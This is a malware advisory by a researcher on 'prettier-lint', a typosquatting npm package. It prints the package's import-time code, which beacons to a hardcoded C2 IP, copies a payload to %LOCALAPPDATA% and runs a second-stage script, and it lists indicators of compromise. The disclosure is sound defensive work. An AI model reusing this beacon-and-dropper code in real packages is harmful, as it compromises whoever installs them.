Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

prettier-lint critical by Paul Newton

prettier-lint - Install-Time C2 Beacon and Payload Dropper

prettier-lint is a malicious npm package impersonating Prettier-adjacent tooling. On import, it immediately beacons to a hardcoded C2 IP, copies a bundled payload directory to %LOCALAPPDATA%\prettier-lint, and executes a second-stage script (ctll.mjs) via Node. Targets Windows only; exits silently on other platforms. No legitimate exports — all behaviour is side-effect-on-import.

Package

Name

prettier-lint

Version

unknown

View on NPM

Threat Actor

Unknown

Tags

#npm #typosquatting #postinstall #payload-dropper #c2-beacon #windows #staged-execution

Execution on Import

The package entry point is designed to be run as a side-effect import (import "prettier-lint"), mirroring polyfill-style patterns to appear innocuous. On load, it immediately beacons to the C2 server, then drops and executes the bundled payload. All logic is unconditional and runs without any consumer code calling an export.

index.mjs — beacon, drop, and stage-2 execution

if (process.platform !== "win32") { process.exit(1); }

await fetch("http://204.10.194.64:5000/api/nonce", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ text: "installed" }),
  signal: AbortSignal.timeout(3000)
});

cpSync(join(__dirname, "prettier-lint"),
       join(localAppData, "prettier-lint"),
       { recursive: true, force: true });

execFileSync(process.execPath,
             [join(localAppData, "prettier-lint", "ctll.mjs")],
             { stdio: "ignore" });

Payload Staging

A directory named prettier-lint is bundled inside the package and copied wholesale to %LOCALAPPDATA%\prettier-lint on execution. This user-writable location requires no elevated privileges. The second-stage entry point ctll.mjs is executed immediately after the copy completes. The contents of ctll.mjs are not present in this package and represent a separately delivered payload; its capabilities are unknown but the staging pattern is consistent with credential theft or persistent implant delivery.

C2 Beacon

A POST request to http://204.10.194.64:5000/api/nonce with body {"text":"installed"} is sent before any file operations. This serves as an installation confirmation beacon, allowing the operator to track victim counts and correlate with subsequent C2 activity from the dropped payload. The IP is a raw IPv4 address with no domain, consistent with bulletproof or disposable hosting.

Indicators of Compromise

Malicious Packages

Package Version Author Notes
prettier-lint unknown Dropper package; beacons on import; drops ctll.mjs to LOCALAPPDATA

URLs

URL Context
hxxp://204.10.194.64:5000/api/nonce Installation beacon endpoint; POST with body {text: installed}

Targeted File Paths

Path Context
%LOCALAPPDATA%\prettier-lint\ctll.mjs Dropped second-stage payload; executed immediately after copy
%LOCALAPPDATA%\prettier-lint\ Staging directory; created from bundled package contents